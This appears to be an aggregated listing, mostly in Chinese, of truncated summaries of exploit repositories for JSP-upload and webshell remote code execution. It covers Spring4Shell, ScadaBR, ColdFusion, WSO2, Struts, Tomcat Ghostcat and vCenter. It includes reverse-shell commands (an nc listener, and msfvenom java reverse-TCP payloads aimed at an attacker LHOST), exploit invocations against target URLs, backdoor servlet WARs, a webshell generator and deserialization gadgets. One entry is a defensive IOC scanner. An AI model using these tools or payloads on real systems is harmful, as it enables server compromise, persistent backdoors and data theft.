CVE-2021-26828_ScadaBR_RCE

POC CVE-2021-26828ScadaBR远程代码执行 ScadaBR 0.9.1 on Linux 以及 1.0 和 1.12.4CE on Windows 允许远程认证用户通过 'viewedit.shtm' 上传并执行任意 JSP 文件，实现远程代码执行。 漏洞利用 命令： Windows: $ sudo python WinScadaRCE.py Linux: 首先在你的本地机器上打开任意端口，再执行漏洞利用： $ sudo nc -vnlp 4444 $ sudo python LinScadaRCE.py 参考：...

CVE-2025-31324

SAP CVE-2025-31324 分析器 一个基于 Python 的安全扫描器，用于识别 SAP Visual Composer 系统中的 CVE-2025-31324 漏洞，并检测已知的入侵指标（IOC），例如恶意的 .jsp 文件。 🚀 功能特性 检测存在漏洞的 Visual Composer 端点 扫描已知的恶意 .jsp 文件（Webshell） 支持从 CSV 文件进行多目标扫描 支持自定义 IOC 文件 可选择将结果保存为 CSV 可选的详细输出模式 🛠 环境要求 Python 3.6+ requests 库（通过 requirements.txt 安装） 📦 安装...

CVE-2022-22965

Spring Boot CVE-2022-22965 针对 Spring Boot 2.6.5 版本的 CVE-2022-22965 Docker PoC 🚀 开始使用 1. 从 https://github.com/itsecurityco/CVE-2022-22965/archive/refs/heads/master.zip 下载发行版代码并解压。 2. 运行 docker compose up --build 构建并启动易受攻击的应用程序。 3. 运行 curl -H "Accept: text/html;"...

Fast-CVE-2022-22965

靶机 root@kitploit: docker run -itd -p 80:8080 vulfocus/spring-core-rce-2022-03-29:latest 反弹shell实质为参照msfvenom root@kitploit: msfvenom -p java/jspshellreversetcp LHOST=xxx LPORT=xxx -f raw -o shell.jsp 将jsp url编码后，用 root@kitploit: %3C%25替换 %25%7Bc2%7Di 代表 代码中针对不同类型服务器进行了shellpath的修改判断 root@kitploit...

CVE-2009-2265

版本：ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp 示例：...

CVE-2024-53677-S2-067-thread

免责声明 请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。 CVE-2024-53677-S2-067-thread 验证poc，https://github.com/TAM-K592/CVE-2024-53677-S2-067/ Apache Struts 的以下版本受到影响：2.0.0 至 2.5.33，6.0.0 至 6.3.0.2 根据poc的最近几天的历史，目前网上的最终版本是base64混淆，是昨天中文出来的（2024.12.18中...

spring4shell-poc

Spring4Shell POC Description of the vulnerability: https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html Construction of the POC: https://github.com/BobTheShoplifter/Spring4Shell-POC Steps to Build/Run Tested with JDK 11.0.14, Spring Boot 2.6.5, and Apache Tomcat 9.0.60 Run...

spring4shell-poc

Spring4Shell POC 漏洞描述：https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html POC 构建：https://github.com/BobTheShoplifter/Spring4Shell-POC 构建/运行步骤 已在 JDK 11.0.14、Spring Boot 2.6.5 和 Apache Tomcat 9.0.60 上测试通过 运行 mvn clean package 构建应用程序 将 demo-0.0.1-SNAPSHOT.war 重命名为...

CVE-2022-29464

WSO2 任意文件上传导致远程命令执行 RCE https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738 示例 root@kitploit: python3 exploit.py https://target.org:9443 shell.jsp...

MAGNOLIA-8348

MAGNOLIA-8348：Magnolia CMS 中的 FreeMarker 限制绕过 3 Magnolia CMS v6.2.17 及更低版本的 FreeMarker Filter 存在一个问题，允许攻击者通过精心构造的 FreeMarker 载荷绕过安全限制并执行任意代码、读取/写入/移动/复制/删除任意文件或发起 DoS 攻击。通过写入任意 JSP 文件，已成功实现任意代码执行。 协作： 此漏洞是与 Marian-Razvan Ilisanu 合作发现的。 厂商披露： 此漏洞的厂商披露与修复方案可在此处查看。 为何没有 CVE？ 我和厂商均未为这些漏洞申请 CVE。 概念验证：...

Shiro_Xray

ShiroXray Gadget root@kitploit: CommonsBeanutils1 CommonsCollectionsK1 CommonsCollectionsK2 Getshell 冰蝎 root@kitploit: import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import java.io.PrintWriter; import java.net.URLDecoder; import sun.misc.BASE64Decoder; public class...

spring4shell-CVE-2022-22965

简单的Spring4Shell POC 检查端点是否易受攻击 python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting --check 利用易受攻击的端点 python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting -f shell.jsp --exploit 在上传的webshell上执行命令 python spring4shell.py -u...

MAGNOLIA-8281

MAGNOLIA-8281：Magnolia CMS 中的 FreeMarker 限制绕过 2 Magnolia CMS v6.2.16 及以下版本的 FreeMarker 过滤器存在一个安全问题，攻击者可借由精心构造的 FreeMarker 载荷绕过安全限制，读取/写入/移动/复制/删除任意文件。通过写入任意 JSP 文件，已成功实现任意代码执行。 厂商披露： 该漏洞的厂商披露与修复方案可以在此处查看。 为什么没有 CVE？ 我和厂商均未为这些漏洞申请 CVE。 概念验证： 更多详情及利用过程可参见此 PDF。 其他资源： 用于执行任意系统命令的 JSP 代码可在此处找到...

Java-Servlets-Shell

Java Servlets Shell 受 https://www.redteam-pentesting.de/files/redteam-jboss.tar.gz 启发的 Java Servlets 后门 注意 ：这些 WAR 包含已编译的 Java 代码而非 JSP 页面，以便在阻止或不编译 JSP 文件的环境中使用。...

cve-2019-0227

cve-2019-0227 apache axis1.4远程代码执行漏洞 需要在本机msf设置监听，另外需要修改代码24-30行处 ＃您需要更改这些变量以匹配您的配置 myip = “ 192.168.0.117 ” ＃您机器的IP target = “ 192.168.0.102 ” ＃目标IP 网关= “ 192.168.0.1 ” ＃默认网关 targetport = “ 8080 ” ＃目标运行轴的端口（可能是8080） pathtoaxis = “ http://192.168.0.102:8080/axis ” ＃这可以是自定义的视轴安装，但是这是默认...

CVE-2020-1938

CVE-2020-1938 La herramienta se utiliza únicamente para investigación de seguridad y autocomprobación interna. Está prohibido usarla para lanzar ataques ilegales; el usuario asume las consecuencias. apache-tomcat-8.5.32.zip para probar tomcat Lectura arbitraria de archivos root@kitploit: java -ja...

wsh

wsh wsh（发音为woosh）是一个Web Shell生成器和命令行界面。最初它只是一个HTTP客户端，因为与Web Shell交互很麻烦。通常有一个表单，要发送命令，你必须在输入框中输入并点击按钮。我希望有一个更适合自己工作流程的工具，并在终端中运行。于是wsh应运而生。 该客户端具有命令历史、日志记录功能，并可配置为与之前部署的标准Web Shell（带有表单/按钮）进行交互。生成器可以创建php、asp和jsp格式的Web...

ghostcat

该工具利用 Apache Tomcat 中的一个 LFI 漏洞（CVE-2020-1938），不仅可以查看敏感文件，还可以运行恶意的 JSP 载荷。 可在此处下载（需要从命令行运行） 用法： ghostcat target HTTP port AJP port file read/eval...

CVE-2021-22005

CVE-2021-22005-metasploit 关于 CVE-2021-22005 VMware vCenter Server 任意文件上传漏洞的 metasploit 脚本（POC/EXP） 准备 POC root@kitploit: git clone https://github.com/TaroballzChen/CVE-2021-22005-metasploit cd CVE-2021-22005-metasploit mkdir -p /.msf4/modules/auxiliary/scanner/http cp...

CVE-2022-30929

CVE-2022-30929 CVE-2022-30929 POC 建议描述 Mini-Tmall v1.0 存在不安全的权限漏洞，漏洞来源于 tomcat-embed-jasper。 漏洞类型 不安全的权限 产品供应商 github;gitee 受影响产品代码库 https://github.com/robin-liyong/-Mini-Tmall-:https://gitee.com/projectteam/Tmalldemo?from=giteesearch - v1.0 受影响组件 tomcat-embed-jasper 攻击类型 远程 影响 代码执行 true 攻击向量...